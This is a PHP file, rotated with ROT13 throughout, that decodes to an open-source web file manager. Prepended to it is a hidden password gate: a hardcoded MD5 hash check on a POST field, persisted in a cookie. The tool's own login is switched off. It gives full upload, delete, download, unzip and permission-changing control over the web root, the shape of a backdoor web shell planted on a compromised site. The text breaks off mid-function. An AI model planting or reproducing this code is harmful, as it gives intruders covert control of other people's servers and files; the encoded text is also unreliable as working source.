$qonq='';vs(vffrg($_CBFG['qonq'])){$qonq=$_CBFG['qonq'];frgpbbxvr("cn",$_CBFG['qonq'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='po56o83p8q55r8pq3r5rqr654q57o5nr')||zq5($qonq)=='po56o83p8q55r8pq3r5rqr654q57o5nr'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez
npgvba="" zrgubq="cbfg"><vachg
glcr="cnffjbeq" anzr="qonq"
inyhr=""><vachg glcr="fhozvg"
anzr="fhozvg"
inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx--><?cuc
/**
* CUC Svyr Znantre (2017-08-07)
* uggcf://tvguho.pbz/nyrknage/svyrznantre
*/
// Nhgu jvgu ybtva/cnffjbeq (frg gehr/snyfr gb ranoyr/qvfnoyr vg)
$hfr_nhgu = snyfr;
// Hfref: neenl('Hfreanzr' => 'Cnffjbeq',
'Hfreanzr2' => 'Cnffjbeq2', ...)
$nhgu_hfref = neenl(
'nfq' => 'nfq',
);
// Ranoyr uvtuyvtug.wf (uggcf://uvtuyvtugwf.bet/) ba ivrj'f cntr
$hfr_uvtuyvtugwf = gehr;
// uvtuyvtug.wf fglyr
$uvtuyvtugwf_fglyr = 'if';
// Qrsnhyg gvzrmbar sbe qngr() naq gvzr() -
uggc://cuc.arg/znahny/ra/gvzrmbarf.cuc
$qrsnhyg_gvzrmbar = 'Rhebcr/Zvafx'; // HGP+3
// Ebbg cngu sbe svyr znantre
$ebbg_cngu = $_FREIRE['QBPHZRAG_EBBG'];
// Ebbg hey sbe yvaxf va svyr znantre.Eryngvir gb $uggc_ubfg. Inevnagf:
'', 'cngu/gb/fhosbyqre'
// Jvyy abg jbexvat vs $ebbg_cngu jvyy or bhgfvqr bs freire qbphzrag ebbg
$ebbg_hey = '';
// Freire ubfganzr. Pna frg znahnyyl vs jebat
$uggc_ubfg = $_FREIRE['UGGC_UBFG'];
// vachg rapbqvat sbe vpbai
$vpbai_vachg_rapbqvat = 'PC1251';
// qngr() sbezng sbe svyr zbqvsvpngvba qngr
$qngrgvzr_sbezng = 'q.z.l U:v';
//--- RQVG ORYBJ PNERSHYYL BE QB ABG RQVG NG NYY
// vs sz vapyhqrq
vs (qrsvarq('SZ_RZORQ')) {
$hfr_nhgu = snyfr;
} ryfr {
@frg_gvzr_yvzvg(600);
qngr_qrsnhyg_gvzrmbar_frg($qrsnhyg_gvzrmbar);
vav_frg('qrsnhyg_punefrg', 'HGS-8');
vs (irefvba_pbzcner(CUC_IREFVBA, '5.6.0', '<')
&& shapgvba_rkvfgf('zo_vagreany_rapbqvat')) {
zo_vagreany_rapbqvat('HGS-8');
}
vs (shapgvba_rkvfgf('zo_ertrk_rapbqvat')) {
zo_ertrk_rapbqvat('HGS-8');
}
frffvba_pnpur_yvzvgre('');
frffvba_anzr('svyrznantre');
frffvba_fgneg();
}
vs (rzcgl($nhgu_hfref)) {
$hfr_nhgu = snyfr;
}
$vf_uggcf = vffrg($_FREIRE['UGGCF']) &&
($_FREIRE['UGGCF'] == 'ba' ||
$_FREIRE['UGGCF'] == 1)
|| vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) &&
$_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf';
// pyrna naq purpx $ebbg_cngu
$ebbg_cngu = egevz($ebbg_cngu, '\\/');
$ebbg_cngu = fge_ercynpr('\\', '/', $ebbg_cngu);
vs (!@vf_qve($ebbg_cngu)) {
rpub fcevags('<u1>Ebbg cngu "%f" abg
sbhaq!</u1>', sz_rap($ebbg_cngu));
rkvg;
}
// pyrna $ebbg_hey
$ebbg_hey = sz_pyrna_cngu($ebbg_hey);
// nof cngu sbe fvgr
qrsvarq('SZ_EBBG_CNGU') || qrsvar('SZ_EBBG_CNGU',
$ebbg_cngu);
qrsvarq('SZ_EBBG_HEY') || qrsvar('SZ_EBBG_HEY',
($vf_uggcf ? 'uggcf' : 'uggc') . '://' .
$uggc_ubfg . (!rzcgl($ebbg_hey) ? '/' . $ebbg_hey :
''));
qrsvarq('SZ_FRYS_HEY') || qrsvar('SZ_FRYS_HEY',
($vf_uggcf ? 'uggcf' : 'uggc') . '://' .
$uggc_ubfg . $_FREIRE['CUC_FRYS']);
// ybtbhg
vs (vffrg($_TRG['ybtbhg'])) {
hafrg($_FRFFVBA['ybttrq']);
sz_erqverpg(SZ_FRYS_HEY);
}
// Fubj vzntr urer
vs (vffrg($_TRG['vzt'])) {
sz_fubj_vzntr($_TRG['vzt']);
}
// Nhgu
vs ($hfr_nhgu) {
vs (vffrg($_FRFFVBA['ybttrq'],
$nhgu_hfref[$_FRFFVBA['ybttrq']])) {
// Ybttrq
} ryfrvs (vffrg($_CBFG['sz_hfe'],
$_CBFG['sz_cjq'])) {
// Ybttvat Va
fyrrc(1);
vs (vffrg($nhgu_hfref[$_CBFG['sz_hfe']]) &&
$_CBFG['sz_cjq'] === $nhgu_hfref[$_CBFG['sz_hfe']]) {
$_FRFFVBA['ybttrq'] = $_CBFG['sz_hfe'];
sz_frg_zft('Lbh ner ybttrq va');
sz_erqverpg(SZ_FRYS_HEY . '?c=');
} ryfr {
hafrg($_FRFFVBA['ybttrq']);
sz_frg_zft('Jebat cnffjbeq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY);
}
} ryfr {
// Sbez
hafrg($_FRFFVBA['ybttrq']);
sz_fubj_urnqre();
sz_fubj_zrffntr();
?>
<qvi pynff="cngu">
<sbez npgvba="" zrgubq="cbfg"
fglyr="znetva:10ck;grkg-nyvta:pragre">
<vachg anzr="sz_hfe" inyhr=""
cynprubyqre="Hfreanzr" erdhverq>
<vachg glcr="cnffjbeq" anzr="sz_cjq"
inyhr="" cynprubyqre="Cnffjbeq" erdhverq>
<vachg glcr="fhozvg"
inyhr="Ybtva">
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
}
qrsvar('SZ_VF_JVA', QVERPGBEL_FRCNENGBE == '\\');
// nyjnlf hfr ?c=
vs (!vffrg($_TRG['c'])) {
sz_erqverpg(SZ_FRYS_HEY . '?c=');
}
// trg cngu
$c = vffrg($_TRG['c']) ? $_TRG['c'] :
(vffrg($_CBFG['c']) ? $_CBFG['c'] : '');
// pyrna cngu
$c = sz_pyrna_cngu($c);
// vafgrnq tybonyf inef
qrsvar('SZ_CNGU', $c);
qrsvar('SZ_HFR_NHGU', $hfr_nhgu);
qrsvarq('SZ_VPBAI_VACHG_RAP') ||
qrsvar('SZ_VPBAI_VACHG_RAP', $vpbai_vachg_rapbqvat);
qrsvarq('SZ_HFR_UVTUYVTUGWF') ||
qrsvar('SZ_HFR_UVTUYVTUGWF', $hfr_uvtuyvtugwf);
qrsvarq('SZ_UVTUYVTUGWF_FGLYR') ||
qrsvar('SZ_UVTUYVTUGWF_FGLYR', $uvtuyvtugwf_fglyr);
qrsvarq('SZ_QNGRGVZR_SBEZNG') ||
qrsvar('SZ_QNGRGVZR_SBEZNG', $qngrgvzr_sbezng);
hafrg($c, $hfr_nhgu, $vpbai_vachg_rapbqvat, $hfr_uvtuyvtugwf,
$uvtuyvtugwf_fglyr);
/*************************** NPGVBAF ***************************/
// Qryrgr svyr / sbyqre
vs (vffrg($_TRG['qry'])) {
$qry = $_TRG['qry'];
$qry = sz_pyrna_cngu($qry);
$qry = fge_ercynpr('/', '', $qry);
vs ($qry != '' && $qry != '..' &&
$qry != '.') {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$vf_qve = vf_qve($cngu . '/' . $qry);
vs (sz_eqryrgr($cngu . '/' . $qry)) {
$zft = $vf_qve ? 'Sbyqre <o>%f</o>
qryrgrq' : 'Svyr <o>%f</o> qryrgrq';
sz_frg_zft(fcevags($zft, sz_rap($qry)));
} ryfr {
$zft = $vf_qve ? 'Sbyqre <o>%f</o> abg
qryrgrq' : 'Svyr <o>%f</o> abg qryrgrq';
sz_frg_zft(fcevags($zft, sz_rap($qry)), 'reebe');
}
} ryfr {
sz_frg_zft('Jebat svyr be sbyqre anzr',
'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Perngr sbyqre
vs (vffrg($_TRG['arj'])) {
$arj = fgevc_gntf($_TRG['arj']); // erzbir hajnagrq
punenpgref sebz sbyqre anzr
$arj = sz_pyrna_cngu($arj);
$arj = fge_ercynpr('/', '', $arj);
vs ($arj != '' && $arj != '..' &&
$arj != '.') {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs (sz_zxqve($cngu . '/' . $arj, snyfr) === gehr) {
sz_frg_zft(fcevags('Sbyqre <o>%f</o>
perngrq', sz_rap($arj)));
} ryfrvs (sz_zxqve($cngu . '/' . $arj, snyfr) === $cngu .
'/' . $arj) {
sz_frg_zft(fcevags('Sbyqre <o>%f</o> nyernql
rkvfgf', sz_rap($arj)), 'nyreg');
} ryfr {
sz_frg_zft(fcevags('Sbyqre <o>%f</o> abg
perngrq', sz_rap($arj)), 'reebe');
}
} ryfr {
sz_frg_zft('Jebat sbyqre anzr', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Pbcl sbyqre / svyr
vs (vffrg($_TRG['pbcl'], $_TRG['svavfu'])) {
// sebz
$pbcl = $_TRG['pbcl'];
$pbcl = sz_pyrna_cngu($pbcl);
// rzcgl cngu
vs ($pbcl == '') {
sz_frg_zft('Fbhepr cngu abg qrsvarq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// nof cngu sebz
$sebz = SZ_EBBG_CNGU . '/' . $pbcl;
// nof cngu gb
$qrfg = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$qrfg .= '/' . SZ_CNGU;
}
$qrfg .= '/' . onfranzr($sebz);
// zbir?
$zbir = vffrg($_TRG['zbir']);
// pbcl/zbir
vs ($sebz != $qrfg) {
$zft_sebz = gevz(SZ_CNGU . '/' . onfranzr($sebz),
'/');
vs ($zbir) {
$eranzr = sz_eranzr($sebz, $qrfg);
vs ($eranzr) {
sz_frg_zft(fcevags('Zbirq sebz <o>%f</o>
gb <o>%f</o>', sz_rap($pbcl), sz_rap($zft_sebz)));
} ryfrvs ($eranzr === ahyy) {
sz_frg_zft('Svyr be sbyqre jvgu guvf cngu nyernql
rkvfgf', 'nyreg');
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr zbivat sebz
<o>%f</o> gb <o>%f</o>', sz_rap($pbcl),
sz_rap($zft_sebz)), 'reebe');
}
} ryfr {
vs (sz_epbcl($sebz, $qrfg)) {
sz_frg_zft(fcevags('Pbclvrq sebz <o>%f</o>
gb <o>%f</o>', sz_rap($pbcl), sz_rap($zft_sebz)));
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr pbclvat sebz
<o>%f</o> gb <o>%f</o>', sz_rap($pbcl),
sz_rap($zft_sebz)), 'reebe');
}
}
} ryfr {
sz_frg_zft('Cnguf zhfg or abg rdhny', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Znff pbcl svyrf/ sbyqref
vs (vffrg($_CBFG['svyr'], $_CBFG['pbcl_gb'],
$_CBFG['svavfu'])) {
// sebz
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
// gb
$pbcl_gb_cngu = SZ_EBBG_CNGU;
$pbcl_gb = sz_pyrna_cngu($_CBFG['pbcl_gb']);
vs ($pbcl_gb != '') {
$pbcl_gb_cngu .= '/' . $pbcl_gb;
}
vs ($cngu == $pbcl_gb_cngu) {
sz_frg_zft('Cnguf zhfg or abg rdhny', 'nyreg');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
vs (!vf_qve($pbcl_gb_cngu)) {
vs (!sz_zxqve($pbcl_gb_cngu, gehr)) {
sz_frg_zft('Hanoyr gb perngr qrfgvangvba sbyqre',
'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' .
heyrapbqr(SZ_CNGU));
}
}
// zbir?
$zbir = vffrg($_CBFG['zbir']);
// pbcl/zbir
$reebef = 0;
$svyrf = $_CBFG['svyr'];
vs (vf_neenl($svyrf) && pbhag($svyrf)) {
sbernpu ($svyrf nf $s) {
vs ($s != '') {
// nof cngu sebz
$sebz = $cngu . '/' . $s;
// nof cngu gb
$qrfg = $pbcl_gb_cngu . '/' . $s;
// qb
vs ($zbir) {
$eranzr = sz_eranzr($sebz, $qrfg);
vs ($eranzr === snyfr) {
$reebef++;
}
} ryfr {
vs (!sz_epbcl($sebz, $qrfg)) {
$reebef++;
}
}
}
}
vs ($reebef == 0) {
$zft = $zbir ? 'Fryrpgrq svyrf naq sbyqref zbirq' :
'Fryrpgrq svyrf naq sbyqref pbcvrq';
sz_frg_zft($zft);
} ryfr {
$zft = $zbir ? 'Reebe juvyr zbivat vgrzf' :
'Reebe juvyr pbclvat vgrzf';
sz_frg_zft($zft, 'reebe');
}
} ryfr {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Eranzr
vs (vffrg($_TRG['era'], $_TRG['gb'])) {
// byq anzr
$byq = $_TRG['era'];
$byq = sz_pyrna_cngu($byq);
$byq = fge_ercynpr('/', '', $byq);
// arj anzr
$arj = $_TRG['gb'];
$arj = sz_pyrna_cngu($arj);
$arj = fge_ercynpr('/', '', $arj);
// cngu
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
// eranzr
vs ($byq != '' && $arj != '') {
vs (sz_eranzr($cngu . '/' . $byq, $cngu . '/' .
$arj)) {
sz_frg_zft(fcevags('Eranzrq sebz <o>%f</o> gb
<o>%f</o>', sz_rap($byq), sz_rap($arj)));
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr eranzvat sebz
<o>%f</o> gb <o>%f</o>', sz_rap($byq),
sz_rap($arj)), 'reebe');
}
} ryfr {
sz_frg_zft('Anzrf abg frg', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Qbjaybnq
vs (vffrg($_TRG['qy'])) {
$qy = $_TRG['qy'];
$qy = sz_pyrna_cngu($qy);
$qy = fge_ercynpr('/', '', $qy);
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs ($qy != '' && vf_svyr($cngu . '/' .
$qy)) {
urnqre('Pbagrag-Qrfpevcgvba: Svyr Genafsre');
urnqre('Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz');
urnqre('Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr="'
. onfranzr($cngu . '/' . $qy) . '"');
urnqre('Pbagrag-Genafsre-Rapbqvat: ovanel');
urnqre('Pbaarpgvba: Xrrc-Nyvir');
urnqre('Rkcverf: 0');
urnqre('Pnpur-Pbageby: zhfg-erinyvqngr, cbfg-purpx=0,
cer-purpx=0');
urnqre('Centzn: choyvp');
urnqre('Pbagrag-Yratgu: ' . svyrfvmr($cngu .
'/' . $qy));
ernqsvyr($cngu . '/' . $qy);
rkvg;
} ryfr {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
}
// Hcybnq
vs (vffrg($_CBFG['hcy'])) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$reebef = 0;
$hcybnqf = 0;
$gbgny = pbhag($_SVYRF['hcybnq']['anzr']);
sbe ($v = 0; $v < $gbgny; $v++) {
$gzc_anzr = $_SVYRF['hcybnq']['gzc_anzr'][$v];
vs (rzcgl($_SVYRF['hcybnq']['reebe'][$v])
&& !rzcgl($gzc_anzr) && $gzc_anzr != 'abar') {
vs (zbir_hcybnqrq_svyr($gzc_anzr, $cngu . '/' .
$_SVYRF['hcybnq']['anzr'][$v])) {
$hcybnqf++;
} ryfr {
$reebef++;
}
}
}
vs ($reebef == 0 && $hcybnqf > 0) {
sz_frg_zft(fcevags('Nyy svyrf hcybnqrq gb
<o>%f</o>', sz_rap($cngu)));
} ryfrvs ($reebef == 0 && $hcybnqf == 0) {
sz_frg_zft('Abguvat hcybnqrq', 'nyreg');
} ryfr {
sz_frg_zft(fcevags('Reebe juvyr hcybnqvat svyrf. Hcybnqrq
svyrf: %f', $hcybnqf), 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Znff qryrgvat
vs (vffrg($_CBFG['tebhc'], $_CBFG['qryrgr'])) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$reebef = 0;
$svyrf = $_CBFG['svyr'];
vs (vf_neenl($svyrf) && pbhag($svyrf)) {
sbernpu ($svyrf nf $s) {
vs ($s != '') {
$arj_cngu = $cngu . '/' . $s;
vs (!sz_eqryrgr($arj_cngu)) {
$reebef++;
}
}
}
vs ($reebef == 0) {
sz_frg_zft('Fryrpgrq svyrf naq sbyqre qryrgrq');
} ryfr {
sz_frg_zft('Reebe juvyr qryrgvat vgrzf',
'reebe');
}
} ryfr {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Cnpx svyrf
vs (vffrg($_CBFG['tebhc'], $_CBFG['mvc'])) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs (!pynff_rkvfgf('MvcNepuvir')) {
sz_frg_zft('Bcrengvbaf jvgu nepuvirf ner abg ninvynoyr',
'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
$svyrf = $_CBFG['svyr'];
vs (!rzcgl($svyrf)) {
puqve($cngu);
vs (pbhag($svyrf) == 1) {
$bar_svyr = erfrg($svyrf);
$bar_svyr = onfranzr($bar_svyr);
$mvcanzr = $bar_svyr . '_' .
qngr('lzq_Uvf') . '.mvc';
} ryfr {
$mvcanzr = 'nepuvir_' . qngr('lzq_Uvf') .
'.mvc';
}
$mvccre = arj SZ_Mvccre();
$erf = $mvccre->perngr($mvcanzr, $svyrf);
vs ($erf) {
sz_frg_zft(fcevags('Nepuvir <o>%f</o>
perngrq', sz_rap($mvcanzr)));
} ryfr {
sz_frg_zft('Nepuvir abg perngrq', 'reebe');
}
} ryfr {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Hacnpx
vs (vffrg($_TRG['hamvc'])) {
$hamvc = $_TRG['hamvc'];
$hamvc = sz_pyrna_cngu($hamvc);
$hamvc = fge_ercynpr('/', '', $hamvc);
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
vs (!pynff_rkvfgf('MvcNepuvir')) {
sz_frg_zft('Bcrengvbaf jvgu nepuvirf ner abg ninvynoyr',
'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
vs ($hamvc != '' && vf_svyr($cngu . '/' .
$hamvc)) {
$mvc_cngu = $cngu . '/' . $hamvc;
//gb sbyqre
$gbsbyqre = '';
vs (vffrg($_TRG['gbsbyqre'])) {
$gbsbyqre = cnguvasb($mvc_cngu, CNGUVASB_SVYRANZR);
vs (sz_zxqve($cngu . '/' . $gbsbyqre, gehr)) {
$cngu .= '/' . $gbsbyqre;
}
}
$mvccre = arj SZ_Mvccre();
$erf = $mvccre->hamvc($mvc_cngu, $cngu);
vs ($erf) {
sz_frg_zft('Nepuvir hacnpxrq');
} ryfr {
sz_frg_zft('Nepuvir abg hacnpxrq',
'reebe');
}
} ryfr {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
// Punatr Crezf (abg sbe Jvaqbjf)
vs (vffrg($_CBFG['puzbq']) && !SZ_VF_JVA) {
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
$svyr = $_CBFG['puzbq'];
$svyr = sz_pyrna_cngu($svyr);
$svyr = fge_ercynpr('/', '', $svyr);
vs ($svyr == '' || (!vf_svyr($cngu . '/' . $svyr)
&& !vf_qve($cngu . '/' . $svyr))) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
$zbqr = 0;
vs (!rzcgl($_CBFG['he'])) {
$zbqr |= 0400;
}
vs (!rzcgl($_CBFG['hj'])) {
$zbqr |= 0200;
}
vs (!rzcgl($_CBFG['hk'])) {
$zbqr |= 0100;
}
vs (!rzcgl($_CBFG['te'])) {
$zbqr |= 0040;
}
vs (!rzcgl($_CBFG['tj'])) {
$zbqr |= 0020;
}
vs (!rzcgl($_CBFG['tk'])) {
$zbqr |= 0010;
}
vs (!rzcgl($_CBFG['be'])) {
$zbqr |= 0004;
}
vs (!rzcgl($_CBFG['bj'])) {
$zbqr |= 0002;
}
vs (!rzcgl($_CBFG['bk'])) {
$zbqr |= 0001;
}
vs (@puzbq($cngu . '/' . $svyr, $zbqr)) {
sz_frg_zft('Crezvffvbaf punatrq');
} ryfr {
sz_frg_zft('Crezvffvbaf abg punatrq', 'reebe');
}
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
/*************************** /NPGVBAF ***************************/
// trg pheerag cngu
$cngu = SZ_EBBG_CNGU;
vs (SZ_CNGU != '') {
$cngu .= '/' . SZ_CNGU;
}
// purpx cngu
vs (!vf_qve($cngu)) {
sz_erqverpg(SZ_FRYS_HEY . '?c=');
}
// trg cnerag sbyqre
$cnerag = sz_trg_cnerag_cngu(SZ_CNGU);
$bowrpgf = vf_ernqnoyr($cngu) ? fpnaqve($cngu) : neenl();
$sbyqref = neenl();
$svyrf = neenl();
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr == '.' || $svyr == '..') {
pbagvahr;
}
$arj_cngu = $cngu . '/' . $svyr;
vs (vf_svyr($arj_cngu)) {
$svyrf[] = $svyr;
} ryfrvs (vf_qve($arj_cngu) && $svyr != '.'
&& $svyr != '..') {
$sbyqref[] = $svyr;
}
}
}
vs (!rzcgl($svyrf)) {
angpnfrfbeg($svyrf);
}
vs (!rzcgl($sbyqref)) {
angpnfrfbeg($sbyqref);
}
// hcybnq sbez
vs (vffrg($_TRG['hcybnq'])) {
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
?>
<qvi pynff="cngu">
<c><o>Hcybnqvat svyrf</o></c>
<c pynff="oernx-jbeq">Qrfgvangvba sbyqre: <?cuc
rpub sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU . '/' . SZ_CNGU))
?></c>
<sbez npgvba="" zrgubq="cbfg"
rapglcr="zhygvcneg/sbez-qngn">
<vachg glcr="uvqqra" anzr="c"
inyhr="<?cuc rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="hcy"
inyhr="1">
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<vachg glcr="svyr"
anzr="hcybnq[]"><oe>
<oe>
<c>
<ohggba pynff="oga"><v
pynff="vpba-nccyl"></v> Hcybnq</ohggba> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>"><v
pynff="vpba-pnapry"></v> Pnapry</n></o>
</c>
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// pbcl sbez CBFG
vs (vffrg($_CBFG['pbcl'])) {
$pbcl_svyrf = $_CBFG['svyr'];
vs (!vf_neenl($pbcl_svyrf) || rzcgl($pbcl_svyrf)) {
sz_frg_zft('Abguvat fryrpgrq', 'nyreg');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
?>
<qvi pynff="cngu">
<c><o>Pbclvat</o></c>
<sbez npgvba="" zrgubq="cbfg">
<vachg glcr="uvqqra" anzr="c"
inyhr="<?cuc rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="svavfu"
inyhr="1">
<?cuc
sbernpu ($pbcl_svyrf nf $ps) {
rpub '<vachg glcr="uvqqra"
anzr="svyr[]" inyhr="' . sz_rap($ps) .
'">' . CUC_RBY;
}
$pbcl_svyrf_rap = neenl_znc('sz_rap', $pbcl_svyrf);
?>
<c pynff="oernx-jbeq">Svyrf: <o><?cuc
rpub vzcybqr('</o>, <o>', $pbcl_svyrf_rap)
?></o></c>
<c pynff="oernx-jbeq">Fbhepr sbyqre: <?cuc
rpub sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU . '/' . SZ_CNGU))
?><oe>
<ynory sbe="vac_pbcl_gb">Qrfgvangvba
sbyqre:</ynory>
<?cuc rpub SZ_EBBG_CNGU ?>/<vachg
anzr="pbcl_gb" vq="vac_pbcl_gb" inyhr="<?cuc
rpub sz_rap(SZ_CNGU) ?>">
</c>
<c><ynory><vachg glcr="purpxobk"
anzr="zbir" inyhr="1"> Zbir</ynory></c>
<c>
<ohggba pynff="oga"><v
pynff="vpba-nccyl"></v> Pbcl</ohggba> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>"><v
pynff="vpba-pnapry"></v> Pnapry</n></o>
</c>
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// pbcl sbez
vs (vffrg($_TRG['pbcl']) &&
!vffrg($_TRG['svavfu'])) {
$pbcl = $_TRG['pbcl'];
$pbcl = sz_pyrna_cngu($pbcl);
vs ($pbcl == '' || !svyr_rkvfgf(SZ_EBBG_CNGU . '/'
. $pbcl)) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
?>
<qvi pynff="cngu">
<c><o>Pbclvat</o></c>
<c pynff="oernx-jbeq">
Fbhepr cngu: <?cuc rpub sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU .
'/' . $pbcl)) ?><oe>
Qrfgvangvba sbyqre: <?cuc rpub
sz_rap(sz_pbaireg_jva(SZ_EBBG_CNGU . '/' . SZ_CNGU)) ?>
</c>
<c>
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl)
?>&nzc;svavfu=1"><v
pynff="vpba-nccyl"></v> Pbcl</n></o>
&aofc;
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl)
?>&nzc;svavfu=1&nzc;zbir=1"><v
pynff="vpba-nccyl"></v> Zbir</n></o>
&aofc;
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>"><v pynff="vpba-pnapry"></v>
Pnapry</n></o>
</c>
<c><v>Fryrpg sbyqre:</v></c>
<hy pynff="sbyqref oernx-jbeq">
<?cuc
vs ($cnerag !== snyfr) {
?>
<yv><n uers="?c=<?cuc rpub
heyrapbqr($cnerag) ?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl)
?>"><v pynff="vpba-neebj_hc"></v>
..</n></yv>
<?cuc
}
sbernpu ($sbyqref nf $s) {
?>
<yv><n uers="?c=<?cuc rpub
heyrapbqr(gevz(SZ_CNGU . '/' . $s, '/'))
?>&nzc;pbcl=<?cuc rpub heyrapbqr($pbcl) ?>"><v
pynff="vpba-sbyqre"></v> <?cuc rpub
sz_rap(sz_pbaireg_jva($s)) ?></n></yv>
<?cuc
}
?>
</hy>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// svyr ivrjre
vs (vffrg($_TRG['ivrj'])) {
$svyr = $_TRG['ivrj'];
$svyr = sz_pyrna_cngu($svyr);
$svyr = fge_ercynpr('/', '', $svyr);
vs ($svyr == '' || !vf_svyr($cngu . '/' . $svyr)) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
$svyr_hey = SZ_EBBG_HEY . sz_pbaireg_jva((SZ_CNGU != '' ?
'/' . SZ_CNGU : '') . '/' . $svyr);
$svyr_cngu = $cngu . '/' . $svyr;
$rkg = fgegbybjre(cnguvasb($svyr_cngu, CNGUVASB_RKGRAFVBA));
$zvzr_glcr = sz_trg_zvzr_glcr($svyr_cngu);
$svyrfvmr = svyrfvmr($svyr_cngu);
$vf_mvc = snyfr;
$vf_vzntr = snyfr;
